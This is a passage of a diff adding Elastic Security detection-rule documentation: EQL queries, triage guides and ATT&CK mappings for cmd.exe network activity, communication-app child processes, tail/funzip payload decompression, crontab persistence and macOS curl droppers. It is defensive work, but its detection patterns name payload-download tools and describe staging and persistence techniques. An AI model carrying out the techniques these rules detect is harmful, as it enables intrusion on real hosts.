exit, `/k` to remain open). + - Identify which match condition applies: + - Batch script: `process.args` includes a `.bat` or `.cmd` reference. + - Remote resource: `process.command_line` contains `http://`, `https://`, or `ftp://`. + - Office parent: `process.parent.name` is one of `winword.exe`, `excel.exe`, `powerpnt.exe`, `outlook.exe`, `msaccess.exe`, or `mspub.exe`. + - Look for staging or obfuscation patterns in `process.command_line` (for example: `&`/`&&`/`||`, pipes `|`, redirection `>`/`>>`, escaping `^`, environment variables, or long encoded strings). + +- Validate the execution context and launch vector: + - Review `user.*` fields to determine who ran the command and whether it is expected for the host role. + - Review `process.parent.name` (and `process.parent.command_line` if available) to understand the initial trigger: + - Office parent: prioritize identifying the initiating document or message and any user interaction around `@timestamp`. + - Management tooling or installer parent: validate change control and whether the command line and destination are consistent with that software. + - If a batch script is referenced, locate the script on the host (if telemetry allows) and capture path and hash (`file.path`, `file.hash.sha256`) for scoping. + +- Analyze the outbound destination: + - Review `destination.ip` and `destination.port` for expectedness (business relationship, known vendor, or organization-owned public IP space). + - Note: the rule excludes common private and reserved address ranges, but it can still alert on connections to legitimate public services. + - Pivot on `destination.ip` to identify other hosts contacting the same destination near `@timestamp`: + - `destination.ip:"" and event.category:network` + - Check whether the same `process.entity_id` generated repeated connections (potential beaconing) versus a single connection (one-time retrieval). + +- Reconstruct follow-on activity and potential impact: + - Identify child processes spawned by `cmd.exe` and look for common follow-on tooling (for example: `powershell.exe`, `mshta.exe`, `rundll32.exe`, `regsvr32.exe`, `certutil.exe`, `bitsadmin.exe`, `curl.exe`, `wget.exe`). + - If file telemetry is available, review file creation/modification shortly after `@timestamp` and correlate any new binaries or scripts with hashes and execution events. + +- Scope the activity (blast radius): + - Search for the same `process.command_line` (or distinctive substrings), script name, or extracted URL across endpoints. + - Search for other `cmd.exe` instances connecting to the same `destination.ip` or the same destination port/protocol. + - If the parent is Office, scope for the same parent-child relationship (`process.parent.name` -> `cmd.exe`) across users and hosts. + + +*False positive analysis* + + +- Software deployment, packaging, or endpoint management workflows that use `cmd.exe /c` to run batch scripts and contact vendor services. +- Signed installer or updater activity where `cmd.exe` is used as a helper process with stable command lines. +- Documented Office macros/add-ins/templates that legitimately spawn `cmd.exe` with consistent command lines and destinations. + +A benign determination is more likely when the combination of `process.parent.name`, stable `process.command_line`, and consistent `destination.ip`/`destination.port` repeats across an expected set of hosts and users and aligns to a documented workflow owner. + + +*Response and remediation* + + +- If the activity is suspicious or cannot be attributed to an approved workflow: + - Contain the affected endpoint (`host.id`) using available endpoint or network controls. + - Preserve evidence (at minimum): + - `@timestamp`, `host.*`, `user.*` + - `process.entity_id`, `process.command_line`, `process.args`, `process.parent.*` + - `destination.ip`, `destination.port`, `network.*` + - Any related child processes and file artifacts (paths and hashes) identified during triage + - Scope for related activity by searching for additional occurrences of the same destination and command-line patterns. + - If Office is the launch vector, identify and quarantine the initiating document or email and assess whether similar content was delivered to other users. + - If a script is involved, collect and review the script contents and investigate how it was introduced (downloads, email attachments, shared drives, logon scripts, scheduled tasks). + - If account compromise is suspected, follow established identity response procedures (credential reset, session review, and access auditing). + +- If the activity is confirmed benign: + - Document the expected parent process, command-line pattern, and destinations. + - Consider adding a narrowly scoped exception using stable identifiers and constrained conditions (for example, specific `process.command_line` patterns and known destinations) to reduce recurring noise. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=15s + [process where host.os.type == "windows" and event.type == "start" and + process.name : "cmd.exe" and process.args : ("/c", "/k") and + ( + process.args : ("*.bat", "*.cmd") or + process.command_line : ("*http://*", "*https://*", "*ftp://*") or + process.parent.name : ("excel.exe", "msaccess.exe", "mspub.exe", "powerpnt.exe", "winword.exe", "outlook.exe") + ) + ] + [network where host.os.type == "windows" and process.name : "cmd.exe" and + not cidrmatch(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", + "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", + "192.0.0.171/32", "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", + "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24", + "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", + "FE80::/10", "FF00::/8")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-communication-app-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-communication-app-child-process.asciidoc new file mode 100644 index 0000000000..2e2c6f2cd8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-communication-app-child-process.asciidoc @@ -0,0 +1,305 @@ +[[prebuilt-rule-8-19-20-suspicious-communication-app-child-process]] +=== Suspicious Communication App Child Process + +Identifies suspicious child processes of communications apps, which can indicate a potential masquerading as the communication app or the exploitation of a vulnerability on the application causing it to execute code. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: SentinelOne +* Data Source: Elastic Endgame + +*Version*: 13 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Communication App Child Process* + + +Communication apps like Slack, WebEx, and Teams are integral to modern workflows, facilitating collaboration. However, adversaries can exploit these apps by spawning unauthorized child processes, potentially masquerading as legitimate ones or exploiting vulnerabilities to execute malicious code. The detection rule identifies such anomalies by monitoring child processes of these apps, ensuring they are trusted and signed by recognized entities. This helps in identifying potential threats that deviate from expected behavior, thus safeguarding against unauthorized access and execution. + + +*Possible investigation steps* + + +- Review the process details, including the parent process name and executable path, to confirm if the child process is expected or unusual for the communication app in question. +- Check the code signature of the suspicious child process to determine if it is trusted and signed by a recognized entity, as specified in the query. +- Investigate the command line arguments of the child process to identify any potentially malicious or unexpected commands being executed. +- Correlate the event with other logs or alerts to identify any related suspicious activities or patterns, such as repeated unauthorized child process executions. +- Assess the user account associated with the process to determine if it has been compromised or is exhibiting unusual behavior. +- Examine the network activity of the affected system to identify any suspicious outbound connections that may indicate data exfiltration or communication with a command and control server. + + +*False positive analysis* + + +- Legitimate software updates or installations may trigger the rule if they spawn child processes from communication apps. Users can create exceptions for known update processes by verifying their code signatures and paths. +- Custom scripts or automation tools that interact with communication apps might be flagged. Users should ensure these scripts are signed and located in trusted directories, then add them to the exception list. +- Certain administrative tasks, such as using command-line tools like cmd.exe or powershell.exe, may be mistakenly identified as suspicious. Users can whitelist specific command lines or arguments that are regularly used in their environment. +- Some third-party integrations with communication apps may generate child processes that are not inherently malicious. Users should verify the legitimacy of these integrations and add them to the trusted list if they are deemed safe. +- Regularly review and update the list of trusted code signatures and executable paths to ensure that legitimate processes are not inadvertently flagged as suspicious. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or execution of malicious code. +- Terminate any suspicious child processes identified by the detection rule that are not signed by recognized entities or are executing from unexpected locations. +- Conduct a thorough review of the affected communication app's logs and configurations to identify any unauthorized changes or access patterns. +- Restore the affected system from a known good backup if malicious activity is confirmed, ensuring that the backup is free from compromise. +- Update the communication app and all related software to the latest versions to patch any known vulnerabilities that may have been exploited. +- Implement application whitelisting to ensure only trusted and signed applications can execute, reducing the risk of similar threats. +- Escalate the incident to the security operations center (SOC) or relevant security team for further investigation and to assess the potential impact on other systems. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : ( + "slack.exe", "CiscoCollabHost.exe", "WebexHost.exe", "Teams.exe", + "Discord.exe", "Whatsapp.exe", "Zoom.exe", "thunderbird.exe" + ) and + not process.executable : ( + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\Windows\\System32\\WerFault.exe", + "?:\\Windows\\SysWOW64\\WerFault.exe" + ) and + + /* Common Signed Browser Processes */ + not ( + process.executable : ( + "?:\\Users\\*\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe", + "?:\\Users\\*\\AppData\\Local\\Island\\Island\\Application\\Island.exe", + "?:\\Users\\*\\AppData\\Local\\Mozilla Firefox\\firefox.exe", + "?:\\Users\\*\\AppData\\Local\\Programs\\Opera\\opera.exe" + ) and process.code_signature.trusted == true + ) and + ( + /* Slack */ + (process.parent.name : "slack.exe" and not + ( + ( + process.executable : ( + "?:\\Users\\*\\AppData\\Roaming\\Zoom\\bin*\\Zoom.exe", + "?:\\Windows\\System32\\rundll32.exe", + "?:\\Windows\\System32\\notepad.exe" + ) and process.code_signature.trusted == true + ) or + ( + process.code_signature.subject_name : ( + "Slack Technologies, Inc.", + "Slack Technologies, LLC" + ) and process.code_signature.trusted == true + ) or + ( + (process.name : "powershell.exe" and process.command_line : "powershell.exe -c Invoke-WebRequest -Uri https://slackb.com/*") or + (process.name : "cmd.exe" and process.command_line : "C:\\WINDOWS\\system32\\cmd.exe /d /s /c \"%windir%\\System32\\rundll32.exe User32.dll,SetFocus 0\"") + ) + ) + ) or + + /* WebEx */ + (process.parent.name : ("CiscoCollabHost.exe", "WebexHost.exe") and not + ( + process.code_signature.subject_name : ( + "Cisco Systems, Inc.", + "Cisco WebEx LLC", + "Cisco Systems Inc." + ) and process.code_signature.trusted == true + ) + ) or + + /* Teams */ + (process.parent.name : "Teams.exe" and not + ( + ( + process.executable : ( + "?:\\Windows\\BrowserCore\\BrowserCore.exe", + "?:\\Users\\*\\AppData\\Local\\Microsoft\\Teams\\current\\Teams.exe" + ) and process.code_signature.trusted == true + ) or + ( + process.code_signature.subject_name : ( + "Microsoft Corporation", + "Microsoft 3rd Party Application Component" + ) and process.code_signature.trusted == true + ) or + ( + (process.name : "taskkill.exe" and process.args : "Teams.exe") + ) + ) + ) or + + /* Discord */ + (process.parent.name : "Discord.exe" and not + ( + ( + process.executable : ( + "?:\\Windows\\System32\\reg.exe", + "?:\\Windows\\SysWOW64\\reg.exe" + ) and process.code_signature.trusted == true + ) or + ( + process.code_signature.subject_name : ( + "Discord Inc." + ) and process.code_signature.trusted == true + ) or + ( + process.name : "cmd.exe" and + ( + process.command_line : ( + "C:\\WINDOWS\\system32\\cmd.exe /d /s /c \"chcp\"", + "C:\\WINDOWS\\system32\\cmd.exe /q /d /s /c \"C:\\Program^ Files\\NVIDIA^ Corporation\\NVSMI\\nvidia-smi.exe\"" + ) or + process.args : ( + "C:\\WINDOWS/System32/nvidia-smi.exe", + "C:\\WINDOWS\\System32\\nvidia-smi.exe", + "C:\\Windows\\System32\\DriverStore\\FileRepository/*/nvidia-smi.exe*" + ) + ) + ) + ) + ) or + + /* WhatsApp */ + (process.parent.name : "Whatsapp.exe" and not + ( + ( + process.executable : ( + "?:\\Windows\\System32\\reg.exe", + "?:\\Windows\\SysWOW64\\reg.exe" + ) and process.code_signature.trusted == true + ) or + ( + process.code_signature.subject_name : ( + "WhatsApp LLC", + "WhatsApp, Inc", + "24803D75-212C-471A-BC57-9EF86AB91435" + ) and process.code_signature.trusted == true + ) or + ( + (process.name : "cmd.exe" and process.command_line : "C:\\Windows\\system32\\cmd.exe /d /s /c \"C:\\Windows\\system32\\wbem\\wmic.exe*") + ) + ) + ) or + + /* Zoom */ + (process.parent.name : "Zoom.exe" and not + ( + ( + process.executable : ( + "?:\\Users\\*\\AppData\\Local\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" + ) and process.code_signature.trusted == true + ) or + ( + process.code_signature.subject_name : ( + "Zoom Video Communications, Inc.", + "Zoom Communications, Inc." + ) and process.code_signature.trusted == true + ) + ) + ) or + + /* Thunderbird */ + (process.parent.name : "thunderbird.exe" and not + ( + ( + process.executable : ( + "?:\\Windows\\splwow64.exe", + "?:\\Windows\\System32\\spool\\drivers\\x64\\3\\*.EXE" + ) and process.code_signature.trusted == true + ) or + ( + process.code_signature.subject_name : ( + "Mozilla Corporation" + ) and process.code_signature.trusted == true + ) + ) + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Invalid Code Signature +** ID: T1036.001 +** Reference URL: https://attack.mitre.org/techniques/T1036/001/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Compromise Host Software Binary +** ID: T1554 +** Reference URL: https://attack.mitre.org/techniques/T1554/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-content-extracted-or-decompressed-via-funzip.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-content-extracted-or-decompressed-via-funzip.asciidoc new file mode 100644 index 0000000000..8c9b94e2e3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-content-extracted-or-decompressed-via-funzip.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-20-suspicious-content-extracted-or-decompressed-via-funzip]] +=== Suspicious Content Extracted or Decompressed via Funzip + +Identifies when suspicious content is extracted from a file and subsequently decompressed using the funzip utility. Malware may execute the tail utility using the "-c" option to read a sequence of bytes from the end of a file. The output from tail can be piped to funzip in order to decompress malicious code before it is executed. This behavior is consistent with malware families such as Bundlore. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/software/S0482/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Content Extracted or Decompressed via Funzip* + + +Funzip is a utility used to decompress files directly from a stream, often employed in legitimate data processing tasks. However, adversaries can exploit this by combining it with the 'tail' command to extract and execute malicious payloads stealthily. The detection rule identifies this misuse by monitoring specific command sequences and excluding benign processes, thus flagging potential threats for further investigation. + + +*Possible investigation steps* + + +- Review the process details to confirm the presence of the 'tail' and 'funzip' command sequence, focusing on the specific arguments used, such as "-c", to understand the context of the command execution. +- Examine the parent process information to determine if the process was initiated by any known benign executables or scripts, specifically checking against the exclusion list like "/usr/bin/dracut" or "/sbin/dracut". +- Investigate the command line history and execution context of the parent process, especially if it involves "sh" or "sudo", to identify any suspicious patterns or unauthorized script executions. +- Check the file path and content being accessed by the 'tail' command to ensure it is not targeting sensitive or unexpected files, excluding known benign paths like "/var/log/messages". +- Correlate the event with other security alerts or logs from the same host to identify any related suspicious activities or patterns that might indicate a broader compromise. +- Assess the risk and impact by determining if the decompressed content was executed or if it led to any subsequent suspicious processes or network connections. + + +*False positive analysis* + + +- Legitimate system maintenance tasks may trigger this rule if they involve decompressing logs or data files using funzip. To manage this, identify and exclude specific maintenance scripts or processes that are known to use funzip in a non-threatening manner. +- Automated backup or data processing operations might use funzip in combination with tail for legitimate purposes. Review these operations and add exceptions for known benign processes or scripts that match this pattern. +- Security tools or monitoring solutions like Nessus may inadvertently trigger this rule if they use similar command sequences for scanning or data collection. Exclude these tools by adding exceptions for their specific command lines or parent processes. +- Custom scripts developed in-house for data analysis or processing might use funzip and tail together. Document these scripts and exclude them from the rule to prevent false positives, ensuring they are reviewed and approved by security teams. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread of the potential malware. +- Terminate any suspicious processes identified by the detection rule, specifically those involving the 'tail' and 'funzip' command sequence. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious payloads. +- Review and analyze system logs and command history to identify any unauthorized access or additional malicious activities that may have occurred. +- Restore any compromised files or systems from known good backups to ensure integrity and availability of data. +- Implement application whitelisting to prevent unauthorized execution of utilities like 'funzip' and 'tail' by non-administrative users. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the need for broader organizational response measures. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +((process.args == "tail" and process.args == "-c" and process.args == "funzip")) and +not process.args : "/var/log/messages" and +not ?process.parent.executable : ("/usr/bin/dracut", "/sbin/dracut", "/usr/bin/xargs") and +not (process.parent.name in ("sh", "sudo") and ?process.parent.command_line : "*nessus_su*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Compression +** ID: T1027.015 +** Reference URL: https://attack.mitre.org/techniques/T1027/015/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-crontab-creation-or-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-crontab-creation-or-modification.asciidoc new file mode 100644 index 0000000000..65156dae51 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-crontab-creation-or-modification.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-20-suspicious-crontab-creation-or-modification]] +=== Suspicious CronTab Creation or Modification + +Identifies attempts to create or modify a crontab via a process that is not crontab (i.e python, osascript, etc.). This activity should not be highly prevalent and could indicate the use of cron as a persistence mechanism by a threat actor. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf +* https://theevilbit.github.io/beyond/beyond_0004/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious CronTab Creation or Modification* + + +Cron is a time-based job scheduler in Unix-like operating systems, including macOS, used to automate repetitive tasks. Adversaries may exploit cron to maintain persistence by scheduling malicious scripts or commands. The detection rule identifies unusual crontab modifications by non-standard processes, flagging potential misuse by threat actors seeking to establish persistence. + + +*Possible investigation steps* + + +- Review the process name and executable path that triggered the alert to determine if it is a known legitimate application or a potentially malicious one. +- Examine the file path "/private/var/at/tabs/*" to identify any recent changes or additions to crontab entries that could indicate unauthorized scheduling of tasks. +- Investigate the user account associated with the process to determine if it has a history of legitimate crontab modifications or if it might be compromised. +- Check for any related alerts or logs around the same timeframe that might indicate additional suspicious activity or corroborate the use of cron for persistence. +- Analyze the command or script scheduled in the crontab entry to assess its purpose and potential impact on the system, looking for signs of malicious intent. + + +*False positive analysis* + + +- System maintenance scripts or legitimate administrative tools may modify crontabs using non-standard processes. Review the process name and executable path to determine if the activity is part of routine maintenance. +- Development or testing environments might use scripts or automation tools that modify crontabs for legitimate purposes. Identify and document these processes to create exceptions in the detection rule. +- Some third-party applications may use cron jobs for updates or scheduled tasks. Verify the legitimacy of these applications and consider excluding their processes if they are known and trusted. +- User-initiated scripts that automate personal tasks could trigger this rule. Educate users on the implications of using cron for personal automation and establish a process for approving such scripts. +- Regularly review and update the list of excluded processes to ensure that only verified and non-threatening activities are exempt from detection. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent potential lateral movement or further execution of malicious tasks. +- Terminate any suspicious processes identified as modifying the crontab, especially those not typically associated with crontab modifications, such as python or osascript. +- Review and remove any unauthorized or suspicious entries in the crontab file located at /private/var/at/tabs/* to eliminate persistence mechanisms established by the threat actor. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malware or malicious scripts. +- Restore the system from a known good backup if the integrity of the system is in question and ensure all security patches and updates are applied. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for crontab modifications and related processes to detect and respond to similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "macos" and event.type != "deletion" and process.name != null and + file.path like "/private/var/at/tabs/*" and not process.executable == "/usr/bin/crontab" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Cron +** ID: T1053.003 +** Reference URL: https://attack.mitre.org/techniques/T1053/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Cron +** ID: T1053.003 +** Reference URL: https://attack.mitre.org/techniques/T1053/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-curl-from-macos-application.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-curl-from-macos-application.asciidoc new file mode 100644 index 0000000000..72b3b29bdb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-curl-from-macos-application.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-20-suspicious-curl-from-macos-application]] +=== Suspicious Curl from macOS Application + +Detects the use of curl by a macOS application binary to connect to a raw IP URI and download a second stage payload. Threat actors often utilize a benign looking or legitimate application as a first stage dropper. Curl is commonly used as it doesn't enforce Gatekeeper checks. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://objective-see.org/blog/blog_0x71.html#-vpn-trojan-covid +* https://attack.mitre.org/techniques/T1105/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Curl from macOS Application* + + +Trojanized macOS applications often use curl to download second-stage payloads from attacker-controlled infrastructure. By leveraging curl instead of direct downloads, these malicious applications can bypass Gatekeeper quarantine checks and evade built-in macOS security mechanisms. This detection rule identifies when applications from the /Applications directory spawn curl to connect to raw IP addresses, which is highly indicative of malicious payload retrieval activity. + + +*Possible investigation steps* + + +- Review the process.Ext.effective_parent.executable field to identify which application spawned the curl process and assess whether this application is expected to make network downloads. +- Examine the process.args fields to extract the destination IP address and URL path being accessed, and research these indicators in threat intelligence databases. +- Analyze the process.parent.command_line to understand the full context of how curl was invoked, including any output file paths that may indicate where payloads were 